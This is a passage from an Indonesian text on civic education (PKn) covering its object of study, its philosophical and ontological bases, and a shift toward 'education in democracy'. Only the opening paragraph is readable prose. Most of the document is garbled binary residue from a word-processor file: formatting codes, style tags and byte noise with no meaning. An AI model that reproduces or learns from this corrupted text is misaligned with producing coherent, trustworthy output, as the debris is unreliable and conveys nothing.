masalah-masalah yang dihadapinya. Secara konseptual, PKn memiliki objek kajian pokok ilmu politik, khususnya konsep demokrasi politik (political democracy) untuk aspek hak dan kewajiban (duties and rights of citizen). Dari objek kajian pokok inilah berkembang konsep Civics yang secara harfiah diambil dari bahasa latin civicus, yang artinya warga negara pada jaman Yunani kuno. Secara praksis, fokus kajian / bidang telaah PKn adalah perilaku warga negara. Perilaku warga negara sebagai pribadi maupun anggota masyarakat berada dalam lingkup sebuah organisasi, sebagai pengikat dan sekaligus yang memberi ruang untuk melakukan perbuatan. Organisasi yang dimaksud adalah negara sebagai organisasi tertinggi. Secara filosofis, obyek kajian PKn sebagai landasan berpikir dalam konteks keindonesiaan, meliputi: Nusantara Indonesia, manusia sebagai pribadi, kekayaan Indonesia, kesadaran manusia Indonesia atas keIndonesiaannya, jatidiri sebagai bangsa Indonesia. Secara ontologis, perspektif PKn sebagai domain kurikuler terdiri atas dua unsur, yakni curriculum content dan student behavior. Persoalan yang dihadapi saat ini khususnya menyangkut persoalan bangsa dan pemerintahan yang berada pada masa transisi, menunjukkan bahwa PKn di Indonesia yang bersifat exclusive dan formal dengan pembelajaran berparadigma education about democracy sedang mengalami perubahan menjadi paradigma education in democracy. PAGE PAGE 12 4 7 8 @ h n Ì Ù Û N d e f òäÚÖÌ¿±£±’’s’’ee’±’Q’’ hZ9‡ 6 •B* ] •aJ mH ph sH h– ! Ý Þ ( ' h~ / I† B* aJ mH ph sH h•e~ B* aJ mH ph sH ! h~ h8}˜ B* aJ mH ph sH ! h~ hZ9‡ B* aJ mH ph sH h ]‹ B* aJ mH ph sH hZ › B* aJ mH ph sH hZ › 5 •CJ OJ QJ \ • hZ › CJ4 OJ QJ hZ › hZ › CJH OJ QJ hZ › CJH OJ QJ mH sH h ]‹ CJH OJ QJ mH sH Ä ( ‰ ç d e ê Ì • ÷ ÷ Û ½ ò Û ® ò Ì ® › $ & F Æ ž ˆ dh a$ gd ]‹ ê Ì $ „„ dh `„„ a$ gdü58 $ „„ dh `„„ a$ gd1 H $ „„ dh `„„ a$ gd hŽ $ F H h À Ä Ì Í × " 0 9 @ D V Z ž ¢ ò „8 dh ^„8 a$ gdÜY‹ „ † Š • — $ a$ gdZ › É è gdZ › é E $ a$ gdZ › f þ b e * íÜË·ËÜíÜË©›ËÜË•ËÜË|Ë|Ë•|Ë|Ë|Ë|Ë|Ë•ËkË•Ë hוD B* aJ mH ph sH ! h~ h ! h~ Õ B* aJ mH ph sH I† B* aJ mH ph sH hZ9‡ 6 •B* ] •aJ mH hZ9‡ B* aJ mH ph h8}˜ B* aJ mH ph h8}˜ 6 •B* aJ mH ph h•e~ B* aJ mH ph hZ › B* aJ mH ph ph sH ! h~ sH ! h~ sH $ h~ sH '* sH sH h– ' h~ 4 9 = j n š ¤ ² ¶ Ó G Q V Z ‰ • — ® ¸ ¿ å ¤ ¥ ¸ Ì Ü Ý L ` c d e ~ ñàÏàÏà ¾àÏà­Ÿ­àñàÏàñàŽñàŽà­à­à­à­à€m\ h„: hK w 5 •B* mH! ph sH! % h~ hü58 B* CJ aJ mH ph sH hŸnd B* aJ mH ph sH ! h~ hK w B* aJ mH ph sH h–I† B* aJ mH ph sH ! h~ hוD B* aJ mH ph sH ! h1 H h1 H B* aJ mH ph sH ! h~ h Õ B* aJ mH ph hZ9‡ B* aJ mH ° × sH ph ! h~ sH h1 H B* aJ mH ph sH $~ • € ¦ * ^ k m o p € • ‹ a n ’ ° ¸ á # ïàÏÁÏ°Á°¦°Á°Ï˜Ï˜Ï¦Ï°Ï°˜°Ï°Ï°˜°‡s‡`‡s‡ hì" 6 •B* aJ mH! ph sH! ' h~ hì" 6 •B* ] •aJ mH! ph sH! ! h~ hì" B* aJ mH! ph sH! h– I† B* aJ mH! ph sH! hü58 B* aJ ph ! h~ hî+X B* aJ mH! ph sH! h1 H B* aJ mH! ph h-” B* aJ mH! ph sH! h~ hZ9‡ B* mH! ph sH! h„: hŸnd 5 •B* mH! ph sH! %• € ¥ Û ” ¡+ z- žÚ. Ý3 Ü6 a: < è Ù Ù · · · · · · ¨ • Ù $ „ „Ð dh ^„ © ¹ Y • Û $ h~ sH! ! h~ " °! ¬$ S' ) Ê · · • `„Ð a$ gdÜY‹ Ù $ „Ð dh `„Ð a$ gdÜY‹ $ „æÿ „Ð dh ]„æÿ`„Ð a$ gdÜY‹ $ „Ð dh `„Ð a$ gd ]­ $ „Ð dh `„Ð a$ gdÜY‹ $ ž ˆ „h „¼þ dh ^„h `„¼þa$ gdÜY‹ # = x ¹ Ä Ë Ö D K ’ ž ¯ Ð Ò è é | ‘ Ò Õ Y x › ¡ ¾ Ô ë | • îÝÉݼ-¼¼­¼¼ƒtƒ¼¼g¼g ¼g]gP¼g¼ h~ h ]- B* aJ ph h•e~ B* aJ ph h~ h{Py B* aJ ph h~ hÜ(J 6 •B* aJ ph h~ hÜ(J B* aJ ph h~ hî+X B* aJ ph h~ hì" 6 •B* ] •aJ ph h~ hì" 6 •B* aJ ph h~ hì" B* aJ ph ' h~ hì" 6 •B* ] •aJ mH! ph sH! ! h~ hì" B* aJ mH! ph sH! ! h~ hî+X B* aJ mH! ph sH! • Ø â ì í O c ~ … ¹ Å ù + , 9 œ £ ¦ ¶ 9 ¹ ¾ À ù ò 9- P- ^- Ù- à- ÷+ A m { ¡ ¯ ³¹ » Ò $ 3 E H O ž ¥ 2! @! õ! òèòèòÛòÛÌÛòÛ½Ûò-ÛòÛ•Û-ÛèÛ•Û-Û-Û-Û½Û-Û-Û-Û-Û•Û-Û-Û-Û-Û-Û½Û½Û h~ hì" 5 •B* \ •aJ ph h~ hì" 6 •B* ] •aJ ph h~ hì" 6 •B* aJ ph h•e~ hì" 6 •B* aJ ph h~ hì" B* aJ ph h•e~ B* aJ ph h~ h{Py B* aJ ph ;õ! ø! %" G" I" b" …" †" ¥" ÿ" # I# ·# ¾# Æ# É# H$ f$ é& ï& ' ,' ¿' Ä' ( <( =( E( ¥( ¬( Ï( Ÿ) * * ,* 3* G* U* ˆ* ®* °* Ô* Ú* + B+ Œ+ •+ ž+ ¡+ ç+ •- žòåÕŶÕŶÕŶå§åòå•åÕåÕåÕåò•òå§åòå§å§å§åÕåÕåÕåòåòåòƒò h~ h‡ A B* aJ ph h~ hÅYý B* aJ ph h•e~ B* aJ ph h~ hì" 6 •B* aJ ph h~ h’-Ý B* ] •aJ ph h~ h’-Ý 6 •B* ] •aJ ph h~ hì" 6 •B* ] •aJ ph h~ hì" B* aJ ph h~ h’-Ý B* aJ ph 3ž- À. . . ,. ‚. Ù. Ú. ‰/ — / Z0 À0 1 Ê1 ÷1 R2 '4 54 •4 †4 ñ6 7 7 7 î7 ô7 69 ¹9 a: ¥: ²: ; È; Ñ; < ñãñãØãñÈ»¬»¬»¬»¬»¬»¬»œ»¬»œ »œ»…xix h~ h°` 6 •B* aJ ph h~ h°` B* aJ ph h–I† B* aJ ph h~ h:i B* aJ ph h~ hì" 6 •B* ] •aJ ph h~ hì" 6 •B* aJ ph h~ hì" B* aJ ph - h~ hì" 5 •B* \ •] •ph h–I† 5 •B* \ •ph h~ h|?> 5 •B* \ •ph h~ hW_ã 5 •B* \ •ph # < &< < }< ÷< ø< ·> ? ? ? )? ˆ? ”? °? A "A 3A 4A OA SA }A ~A ßA ßB ]C îÝîÝîÝÌݾ­œ‹œ~t~d~W~d~L> h~ hì" 6 •B* ] •ph h~ Æ hì" h B* ph h~ Õ B* aJ hì" hì" hÈMA hì" h)Yd hC^5 hÌ h°` ph B* aJ B* aJ B* aJ B* aJ B* aJ B* aJ B* aJ B* aJ j ph ph mH mH mH mH mH mH ¾ð h~ h„: B* aJ ph ! h~ ph sH ! h~ ph sH ! h~ ph sH h„: B* aJ ph sH ! h~ ph sH ! h~ ph sH < }< ø< h~ mH ph O= ‘= sH ! h~ > ·> ? ? )? ßA G zJ Ú HK VM 5P ¸Q Ú ð ð ¹S GV Z û[ Ú Ë ð ð ÖX Ú ð ð ð àR ð Ú ð ð ð ð “^ ð ð ð ð ð $ & F „Ð $ dh `„Ð a$ gdwl Æ „ „Ð dh ^„Ð a$ gdÜY‹ $ „Ð dh `„Ð a$ gdÜY‹ ]C ·C ×C éC êC “D G xG ŽG ÎG òG }H ©H ÉH éI öI OK QK dK }K ÆK âK •L žL jM zM ŸO 'P FP ZP ¿Q ÁQ ÒQ íQ ³R ¹R óR 0S ¹S ÀS ûT ]U GV LV NV ÃV W – W œW ôéôéôÚɵɨ™¨™¨™¨™¨™¨™¨™¨™¨™¨™¨™¨™¨™¨Š¨Š¨™¨Šz¨™¨™ h~ hì" 6 •B* ] •aJ ph h~ hì" B* ] •aJ ph h~ hì" 6 •B* aJ ph h~ hì" B* aJ ph ' h~ hì" 6 •B* ] •aJ mH ph sH ! h~ hì" B* aJ mH ph sH h~ hì" B* mH ph sH h~ hÈMA B* ph h~ hì" B* ph 0œW ”X •X ÖX ÜX Z Z — Z ˜Z û[ \ W] \] “^ ™^ ¶^ Á^ õ_ 9` C` >a ãa Jb Qb ðb c †c Vd •h ±h Âh Ãh Ëh Ìh Õh üh ýh òâòÓòÓòÆòÓò·òÓò·ò¦“¦ •¦•¦ò·òrerererer h~ hùP8 B* aJ ph h~ h¬ – B* aJ ph ' h~ hì" 6 •B* ] •aJ mH ph sH $ h~ hì" 6 •B* aJ mH ph sH ! h~ hì" B* aJ mH ph sH h~ hì" 6 •B* aJ ph h~ hÈMA B* aJ ph h~ hì" B* ] •aJ ph h~ hì" 6 •B* ] •aJ ph h~ hì" B* aJ ph $“^ Jb Vd ¹f Ìf ÿh |k -n r fs £s t rt .u €u 5v ð ð ð ð ð á Ö Ö Ö Ç ¹ ¹ ¹ ¹ ¹ $ & F dh a$ gdÜY‹ $ $ „Ð dh dh ^„Ð a$ gdÜY‹ a$ gdÜY‹ $ „Ð dh `„Ð a$ gdÜY‹ $ „Ê dh `„Ê a$ gdÜY‹ ýh þh ÿh ni Šj •j k /l ?l ¡l ¢l ¥l Èn Ýn r ”r ³r ¹r 7v Fv `v mv xv òåòÔÃÔ²Ÿ²Ž}²Ÿ²ÔlÔÃÔ²ÔòÔÃYÔY $ h~ h$+’ 6 •B* aJ mH ph sH ! h~ h BS B* aJ mH ph sH ! h~ h s fs £s t .u Õ B* aJ mH ph sH ! h~ h¬ – B* aJ mH ph sH $ h~ h$+’ 6 •B* aJ mH ph sH ! h~ h$+’ B* aJ mH ph sH ! h~ hùP8 B* aJ mH ph h$+’ B* aJ mH ph h¬ – B* aJ ph h$+’ B* aJ ph ¯ ~ sH sH h~ 5v ! h~ h~ 6v o 4x Áy Ây o çy èy • ®} ÿ~ s‚ ¯ á… º ~ $ & „Ð dh `„Ð a$ gdÜY‹ $ F & F Æ „Ð ž ˆ dh dh `„Ð a$ gd± e gd ]‹ $ $ & „Ð dh dh `„Ð a$ gdÜY‹ a$ gdÜY‹ D $ F „8 „˜þ dh xv zv |v ™v >ÆT év ÿÿ h Tf . ÿ^„8 `„˜þa$ gdÜY‹ w 4x €y Ày Áy Ây Ïy Ðy Õy Öy ×y ãy æy çy èy íÚǶ¥¶¥”¥”ƒraP rPaP? ! h~ hZ9‡ B* aJ mH ph sH h„: hZ9‡ 5 •B* mH! ph sH! h„: hK w 5 •B* mH! ph sH! h„: hJc, 5 •B* mH! ph sH! h„: hˆ3 5 •B* mH! ph sH! ! h~ hˆ3 B* aJ mH ph sH ! h~ hùP8 B* aJ mH ph sH ! h~ h$+’ B* aJ mH ph sH $ h~ h$+’ 6 •B* aJ mH ph sH $ h~ h Õ 6 •B* aJ mH ph sH $ h~ hùP8 6 •B* aJ mH ph sH èy íy ÷y þy z /z =z Dz Gz ^z tz vz ‚z °z Èz S{ j{ ‚{ •{ ï{ ÷{ •| š| | °| û| } •} ª } -} ®} ³} ½} Ù} ú} ~ C~ E~ ü~ ÿ~ Ε Ï• /€ B€ c€ € ³€ ¹€ è€ ï€ U• d• (‚ 6‚ X‚ p‚ ¦‚ îàîÒîÁîÁîÁîÁîÁîÁî³îÁîÁîÁîÁîÁîÁî àîÁ³î³Áî¢à¢•¢•¢•¢•¢•¢•¢•¢ $ h~ hK w 6 •B* aJ mH ph sH ! h~ hK w B* aJ mH ph sH h–I† B* aJ mH ph sH ! h~ h¢QŸ B* aJ mH ph sH h1 H B* aJ mH ph sH h„: B* aJ mH ph sH ! h~ h± e B* aJ mH ph sH 8¦‚ ¬‚ ±‚ À‚ ¢„ ©„ ˆ ˆ ˜ˆ §ˆ Š Š Š •Š •Š “Š 2‹ ñŽ • • • þ• ‘ ã‘ î‘ ’ ’ — ’ “ k“ p“ 1• 4• íÜíÜíÜíÜíÜ˺Ü˺ܭܜºÜíÜíÜí܉xdxS ! h~ h$*• B* aJ mH ph sH ' h~ h,w 6 •B* ] •aJ mH ph sH ! h~ h,w B* aJ mH ph sH $ h~ h,w B* \ •aJ mH ph sH ! h~ h$*• B* aJ mH ph sH h~ hK w B* aJ ph ! h~ h Õ B* aJ mH ph sH ! h~ h¢QŸ B* aJ mH ph sH ! h~ hK w B* aJ mH ph sH $ h~ hK w 6 •B* aJ mH ph sH á… X‰ 2‹ —’ +™ 0• è ö¡ ª ª Eª Fª Gª Mª Wª è Ñ Ñ Ñ ¾ ¾ ¯ • • $ Æ Ä Ã’ Ÿ– è Ñ è Ñ ¯ • dh $ If a$ gdÜY‹ $ Æ Ä dh a$ gd k² $ Æ Ä dh Æ a$ gdÜY‹ Ä $ „Ð Æ dh Ä `„Ð a$ gdÜY‹ $ „Ð Æ dh Ä ¤x ¤x `„Ð a$ gdÜY‹ $ „ „Ð dh ^„ `„Ð a$ gdÜY‹ 4• H• P• U• w• z• }• ÷™ gš hš •› ‚› …› ¯› °› ³› °œ ±œ Ëœ Ìœ Ïœ Óœ Ôœ ל *ž +ž .ž åž ÿž Ÿ Ÿ ·Ÿ ÍŸ ¡ ¡ ¡ ¢ ¢ d£ k£ y£ z£ í¥ ô¥ ü¥ ¦ !¦ (¦ 7¦ H¦ N¦ ^¦ ¦¦ ®¦ ¼¦ ͦ ÷¦ § § § ħ ˧ ¨ '¨ 5¨ F¨ U¨ îÝîÝîÝîÐÃÐöÐöÐÃÐöÐöÐöЧЧЧÐöЧЧÐÃЧЧЧЧЧЧР§Ð§Ð§ÐÃЧЧРh~ h,w 6 •B* aJ ph h~ h Õ B* aJ ph h~ h k² B* aJ ph h~ h,w B* aJ ph ! h~ h$*• B* aJ mH ph sH ! h~ h,w B* aJ mH ph sH BU¨ \¨ ܨ æ¨ ö¨ ª ª #ª Gª Xª Yª Zª [ª qª rª Œª •ª ‘ª ’ª “ª ”ª – ª §ª ¨ª ©ª ªª «ª ¬ª -ª ñäÓÀÓ¬˜„äwäwägñMgMgMgMgñMgMgMg3 j h,w 5 •B* U \ •aJ mH nH ph u h~ h,w 5 •B* \ •aJ ph h~ h k² B* aJ ph ' h~ h,w 5 •B* \ •aJ mH ph sH ' h~ h k² 5 •B* \ •aJ mH ph sH ' h~ h,w 5 •B* \ •aJ mH ph sH $ h~ h,w 6 •B* aJ mH ph sH ! h~ h,w B* aJ mH ph sH h~ h,w B* aJ ph h~ h,w 6 •B* aJ ph -Wª eª qª rª Œª Žª •ª ‘ª ì ì @ ì ì ì ì ¬ kd $ $ If –l Ö Ör ”ÿA ¨ •ª •ª h~ ü K ù - ÿÿÿÿÿÿÿÿ ® ÿÿÿÿ ÿ ö 6 ö ÿ ÿ ÿ ÿ l aö $ Æ Ä g ÿÿÿÿ T ÿÿÿÿ ÿÿÿÿ Ö0 ÿ ÿ ÿ ö Ö ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ Ö ÿÿÿÿ ÿ Ö ÿ ÿ ÿ ÿÿÿÿÿ4Ö ÿ ÿ O ÿÿÿÿ ÿ ÿ ÿ ÿ Ö ª l dh §ª Ö $ If ©ª «ª ì a$ gdÜY‹ -ª ì ì ‘ª “ª ì •ª – ¬ Ör ”ÿA ¨ @ kd $ ì $ If ì – ü K ù - ÿÿÿÿ ® ÿ ö 6 ö ÿ ÿ ÿ ÿ l aö $ Æ Ä g ö ÿ Ö ÿÿÿÿ Ö0 Ö ÿ ÿ ÿ ÿ ÿ ÿ T ÿ ÿ ÿ ÿ ÿ Ö ÿÿÿÿ ÿÿÿÿÿ4Ö O ÿ ÿ ÿ ÿ ÿ ÿ Ö dh $ If a$ gdÜY‹ -ª ®ª ·ª « « ¥- -- "® *® •® ”® o¯ u¯ º¯ ¯ ° ° ·° ¾° ΰ Õ° M² P² U² Y² e² h² <³ =³ @³ N³ O³ R³ }³ ~³ •³ ú´ ý´ µ µ œµ Ÿµ æµ íµ úµ ýµ ¶ åÕȻȬÈȬȬÈȬÈÈÈÈÈÈƒÈƒÈƒÈ vÈvÈvÈ•ÈvÈ h~ h¹[C B* aJ ph h~ h Õ B* aJ ph h~ h[w» B* aJ ph h~ h,w 6 •B* aJ ph h~ h,w 5 •B* aJ ph h~ h k² B* aJ ph h~ h,w B* aJ ph h~ h,w 5 •B* \ •aJ ph 3 j h~ h,w 5 •B* U \ •aJ mH nH ph u .-ª ¯ª @ ì ì ì ¬ kdô $ $ If – l Ö Ör ”ÿA ¨ °ª ±ª ì ²ª ³ª ´ª ì µª ì ü K ù - ÿÿÿÿ ® ÿ ö 6 ö ÿ ÿ ÿ ÿ l aö $ Æ Ä g ö ÿ Ö ÿÿÿÿ Ö0 Ö ÿ ÿ ÿ ÿ ÿ ÿ T ÿ ÿ ÿ ÿ ÿ Ö ÿÿÿÿ ÿÿÿÿÿ4Ö O ÿ ÿ ÿ ÿ ÿ ÿ Ö dh , Æ $ If a$ gdÜY‹ , Ä µª ¶ª ·ª ° ¶³ N $ ? „Ð dh `„Ð a$ gdÜY‹ $ Æ Ä l dh 4 a$ gdÜY‹ ± Ö kdç $ $ If ” – Ör ”ÿA ¨ ü K ù ÿÿÿÿÿÿÿÿ g ÿÿÿÿ T ÿÿÿÿ O ÿ ÿÿÿ ® ÿÿÿÿÿÿÿÿ Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö 6 ö ö Ö ÿ ÿ ÿ ÿ ÿ Ö ÿÿÿÿ ÿ ÿ ÿ ÿ Ö ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ Ö ÿ ÿ ÿ ÿÿÿÿÿ4Ö l aö f4 ¶ ¶ G¶ J¶ ~¶ „¶ h· ˆ· ì· ó· -¹ %¹ ˆ¹ •¹ ì¹ î¹ ï¹ õ¹ 5¼ 6¼ |¼ •¼ y½ …½ ›½ ž½ Ÿ½ ¯½ ¸½ ¹½ ¼½ ¿¾ À¾ à ¾ 7¿ 8¿ ;¿ ¬Á -Á ÝÆ Ç 'Ç AÇ •Ç ±Ç ´Ç µÇ È òåòåòåòåÖåÖåÇå Ö·ÇåòåòåÖåÖ«ÖåòžåòžåòžåÖå‘„‘„‘„‘„ h~ hIU˜ B* aJ ph h~ hˆ3 B* aJ ph h~ h Õ B* aJ ph h»M9 6 •B* aJ ph h,w 5 •6 •B* aJ ph h~ h,w 5 •B* aJ ph h~ h,w 6 •B* aJ ph h~ h,w B* aJ ph h~ h¹[C B* aJ ph /¶³ æ¶ µ¾ „¿ h~ ¾À ÙÁ ŠÂ qà %Ä (Å Æ ÝÆ ¿ È Ä Ù ¿ w Æ ì Ù ¿ ¿ Ÿ ¿ ¿ Š $ „* dh `„* a$ gdÍI¹ „Ê „›þ dh $ „Ð „˜þ dh ¤x ^„Ð `„˜þa$ gdÜY‹ & F ¤x 5$ 7$ 8$ 9D H$ ^„Ê `„›þa$ gdÜY‹ & F dh Æ ¤x 1$ 5$ 7$ 8$ 9D Ä H$ a$ gdÜY‹ $ $ $ „* Æ dh Ä `„* a$ gdÜY‹ $ „Ð dh `„Ð a$ gdÜY‹ È kÈ É ç Ü ¬É FÊ KÎ ³Ñ ç Ü 6Ö Ü M× \Ø Ü ]Ø dØ xØ Ü Í œØ ç ç Ü Í $ dh Í $ If a$ gdÜY ‹ $ & F Æ dh a$ gdÜY‹ $ 8 ž ˆ dh ¤x ¤x a$ gd€)u FÊ GÊ rÊ uÊ Ë )Ë VË eË nË uË ’Ë – Ë ›Ë «Ë ÎË ÏË ÓË ×Ë †Ì ŒÌ •Ì «Ì ´Ì ¾Ì ÓÌ ÕÌ ýÌ Í lÍ {Í ÞÍ ëÍ þÍ Î Î +Î KÎ NÎ {Î •Î ³Ñ ¶Ñ »Ñ ½Ñ éÑ Ò Ò "Ò &Ò 'Ò mÓ qÓ $Ô (Ô îÖ ûÖ ðãÒÄÒÄÒÄÒÄÒ³Ò³Ò³Ò³Ò³Ò³ÒÄÒ³ÒÄÒÄÒÄÒÄÒ³ÒÄÒ³Ò¢Ò¢Ò¢Ò¢Ò¢Ò¢Ò¢Ò• $ h~ hˆ3 6 •B* aJ mH ph sH ! h~ h•! B* aJ mH ph sH ! h~ h š B* aJ mH ph sH h»M9 B* aJ mH ph sH ! h~ hˆ3 B* aJ mH ph sH h~ hˆ3 B* aJ ph h~ h š B* mH! ph sH! 8ûÖ [Ø \Ø ^Ø xØ •Ø ¤Ø ¥Ø «Ø ¬Ø ®Ø ÎØ ÏØ äØ åØ ¶Ù ·Ù ¸Ù ÜÙ àÙ 1Û 2Û Ü qÜ ‘Þ ëÞ ¤à ¸à Åà Èà éà ýà á á á -á …á ‡á îàîÓîÓÆÓÆÓµ¤µ¤Óš•ÓÆÓÆÓîÓµî•înî•înî`î` h– I† B* aJ mH ph sH ! h~ hø:( B* aJ mH ph sH h•< B* aJ mH ph sH h~ h ]‹ B* aJ ph hˆ3 B* aJ ph ! h~ h•! B* aJ mH ph sH ! h~ hˆ3 B* aJ mH ph sH h~ h•! B* aJ ph h~ hˆ3 B* aJ ph hˆ3 B* aJ mH ph sH ! h~ hˆ3 B* aJ mH ph sH %œØ •Ø ŸØ Ø ¡Ø £Ø ¤Ø ¥Ø §Ø ¨Ø ªØ «Ø ¬Ø z n n n n n n n n n n n È l $ Ö $ If a$ gd ]‹ „ kdò ÖF $ $ If h ì j – ð- „ ~ † ÿ ÿ ö Ö0 ö ö Ö ÿ ÿ ÿ ÿ ÿ ÿ ÿ Ö ÿ ÿ ÿ Ö ÿ ÿ ÿ Ö ÿ ÿ l aö Ô ÿ4Ö ¬Ø ®Ø ·Ø ¸Ø ¹Ø ÍØ ÎØ Ù gÙ ”Ù •Ù ´Ù µÙ ó ó ó ó ó ó ó ó ó ÏØ ØØ ÙØ ó ó ãØ äØ åØ ó ñØ ó ó *Ù QÙ ó ó ó ó )Ù f ó ó ó RÙ ó ó $ $ If a$ gd ]‹ o $ dh $ dh l Ö µÙ ¶Ù o $ If a$ gdÜY‹ a$ gdÜY‹ „ kdŸ ·Ù ¸Ù 1Û o $ ÖF $ If h ì j – 2Û 8Û ` SÛ z o ` ð- „ ~ † ÿ ÿ ö Ö0 ö ö Ö ÿ ÿ ÿ ÿ ÿ ÿ ÿ Ö ÿ ÿ ÿ Ö ÿ ÿ ÿ Ö ÿ ÿ l aö Ô ÿ4Ö SÛ TÛ dÛ Ü Š { { $ L $ $ If –l N ÿ ÿ ÿ4Ö l aö ú yt ]‹ Ö È ö Ü dh Ö0 ö Ü ö Ü pÜ Ö ÿ Ö0 ÿ ÿ Ö Š { { $ t kdé $ $ If –l N ö pÜ ö qÜ ~Ü dh ö äÜ Ö ÿ Ö0 ÿ ÿ Ö Š ÿ { { $ t kd† $ $ If –l N ö äÜ ö åÜ æÜ dh ö ÐÝ Ö ÿ Ö0 ÿ ÿ Ö Š ÿ { { $ t kd# $ $ If –l N ö ÐÝ ö ÑÝ äÝ dh ö éÞ Ö ÿ Ö0 ÿ ÿ Ö Š ÿ { { $ t kdÀ $ $ If –l N ö éÞ ö êÞ ëÞ dh ö Xà Ö ÿ Ö0 ÿ ÿ Ö Š ÿ { { $ t kd] $ $ If –l È ÿ ÿ ö ö ö ÿ4Ö l aö ú yt ]‹ Xà Yà Šá ã { l l Ö •ä ÿ ‘ä Ö0 ÿ ÿ Ö ¢ä V ±ä $ If a$ gdÜY‹ Ö0 Ž Ü ¤ÿ ÿ ÿ ÿ Ö ÿ ÿ Ö ÿ ÿ Š { V $ € dh Ö N Æ $ If a$ gdÜY‹ Ö0 Ž Ü ¤ÿ ÿ ÿ ÿ Ö ÿ ÿ Ö ÿ Ö È ÿ ÿ ÿ4Ö l aö ú yt ]‹ $ If a$ gdÜY‹ Ö0 Ž Ü ¤ÿ ÿ ÿ ÿ Ö ÿ ÿ Ö ÿ Ö È ÿ ÿ ÿ4Ö l aö ú yt ]‹ $ If a$ gdÜY‹ Ö0 Ž Ü ¤ÿ ÿ ÿ ÿ Ö ÿ ÿ Ö ÿ Ö È ÿ ÿ ÿ4Ö l aö ú yt ]‹ $ If a$ gdÜY‹ Ö0 Ž Ü ¤ÿ ÿ ÿ ÿ Ö ÿ ÿ Ö ÿ Ö È ÿ ÿ ÿ4Ö l aö ú yt ]‹ $ If a$ gdÜY‹ t kd Ž Ü ¤ÿ ÿ ÿ ÿ ÿ Ö ÿ ÿ Ö ÿ ¤x ¤x $ If a$ gdÒM $ „Ð dh `„Ð a$ gdšmû l $ Ö N „Ð dh `„Ð a$ gd5Mÿ t kdú $ Ö0 Ž Ü ¤- $ If – È Ö0 ÿ ÿ ÿ ÿ ö ö ö Ö ÿ ÿ Ö ÿ ÿ Ö ÿ4Ö l aö ú yt ]‹ ‡á ‰á Šá úá ûá Pâ Ëâ Ìâ ââ ïâ ýâ ã Gã =ä ?ä •ä ‘ä ¡ä ¢ä ±ä Pç Qç Rç è “è œè •ñ•‘•†•~vj_j_[Tv•‘L ÿ ÿ ã è ÿ ÿ Ö ÿ ã Dã E ñãñÕñÇ¹Ç«Ç h1 H mH! sH! h ]‹ h ]‹ h c` hÒM h c` mH! sH! hÒM c` 5 •mH! sH! h h c` mH! sH! h3 mH! sH! h 4 hšmû mH! sH! hn hšmû mH! sH! h„: B* aJ mH ph sH h– I† B* aJ mH ph sH hn B* aJ mH ph sH h¬ V B* aJ mH sH h3 B* aJ mH ph sH hˆ3 B* aJ mH ph sH h•< aJ mH ph sH ±ä ²ä óä Jå nå •å Ôå ùå • e e e e e e Æ € ph B* l t „° Ö „Pþ ¤x ¤x $ If ^„° `„PþgdÒM Ö0 Û l! à Ö0 ÿ ÿ ÿ Ö ÿ ÿ Ö ÿ ÿ Ö ÿ l aö l ytÒM ùå úå >æ šæ e e e Æ € ÿ ÿ Ö ¼æ êæ } Û kd— $ If – ‘ ÿ ÿ ç e $ ÿ ö l! 6 ÿ4Ö Oç • 4Ö e e ö ö l „° „Pþ ¤x ¤x $ $ If – Ö t à Ö0 ÿ Ö ÿ ÿ Ö l aö l ytÒM ë ‘ì ’ì • g $ $ dh dh $ If ^„° `„PþgdÒM Ö0 ÿ ÿ Oç \ a$ gdÜY‹ a$ gdÜY‹ ÿ ÿ Ö Pç Qç r ÿ Rç \ } Û l! ÿ ÿ Ö è ®è r kd4 Û ‘ ÿ ÿ - ÿ ÿ4Ö ö l! 6 ö 4Ö r r ö l t $ $ Ö „Ð dh $ If `„Ð a$ gdšmû – } kdÑ Ö0 Û l! Û ‘ à Ö0 ÿ ÿ ÿ ÿ ÿ ÿ ö l! 6 ö Ö ÿ ÿ Ö ÿ ÿ Ö ÿ ÿ Ö ÿ ÿ4Ö 4Ö l aö l ytÒM è ¡è ©è -è ®è ¯è ¿è Áè ãè åè é é ,é é ²é ×é wê ë -ë Õë ì "ì Cì Gì Hì Yì øôìøÛʼʫʫÊÊ«ÊŒ{mŒm_mQCm hÀ ö 8é ª B* aJ mH ph sH hn B* aJ mH ph sH I† B* aJ mH ph sH hê*· B* aJ mH ph sH hø:( B* aJ mH ph sH ! h~ hˆ3 B* aJ mH ph sH hê*· B* aJ mH! ph aJ mH! ph sH! h– I† B* aJ mH! ph sH! ! hê*· hˆ3 B* aJ mH! ph aJ mH! ph sH! h– ! h~ sH! ! hê*· sH! ! hšmû hø:( B* hˆ3 B* hê*· mH! sH! hn hšmû mH! sH! Yì [ì |ì •ì €ì •ì ‚ì Œì •ì ‘ì ’ì œì Cí Lí ví Ñí Øí î /î ,ð <ð ‹ð ¢ð <ñ Sñ Œñ œñ Ÿñ ¥ñ ñãÕãÇãÕ㶥’•p\p IpIp\p\p\p\p\ $ h~ h£zÿ 6 •B* aJ mH ph sH ' h~ h£zÿ 6 •B* ] •aJ mH ph sH ! h~ h£zÿ B* aJ mH ph sH ! h~ h£zÿ B* aJ mH! ph sH! $ h¿{ª h£zÿ 5 •B* aJ mH ph sH ! h~ hø:( B* aJ mH ph sH ! h~ hˆ3 B* aJ mH ph sH hÀ B* aJ mH ph sH sH h– I† B* aJ mH ph sH ¥þ §þ ¨þ ªþ «þ -þ Ï À ¢ — • $ dh a$ gdÜY‹ hn B* aJ ’ì ñ œì 2î mH Òï â ± • ph Óñ sH *ô hê*· B* aJ Yõ Ï ¢ • >ù ˜ú mH âû àü Ï ¢ • ph ¤þ ¢ • $ „Ð dh `„Ð a$ gdÜY‹ $ „Ð dh `„Ð a$ gdÜY‹ $ „Ð dh `„Ð a$ gd£zÿ $ „æÿ „Ð dh ]„æÿ`„Ð a$ gd£zÿ $ „„ dh `„„ a$ gd£zÿ $ & F ô dh a$ gd ]‹ Ÿô ²ô Ëô ñô ¥ñ ÿô ´ñ Æñ Éñ Ðñ Óñ 'ò 4ò Šò ó Žó Ôó êó ž õ õ 'õ (õ :õ Uõ Xõ Yõ Øõ äõ ö -ö Kö ‘÷ îÚîÚîÉ»Éî¬îÚî™î™î™î™î™ î™îŒ{h{h{[ h~ h,w B* aJ ph $ h~ h,w 6 •B* aJ mH ph sH ! h~ h,w B* aJ mH ph sH h~ 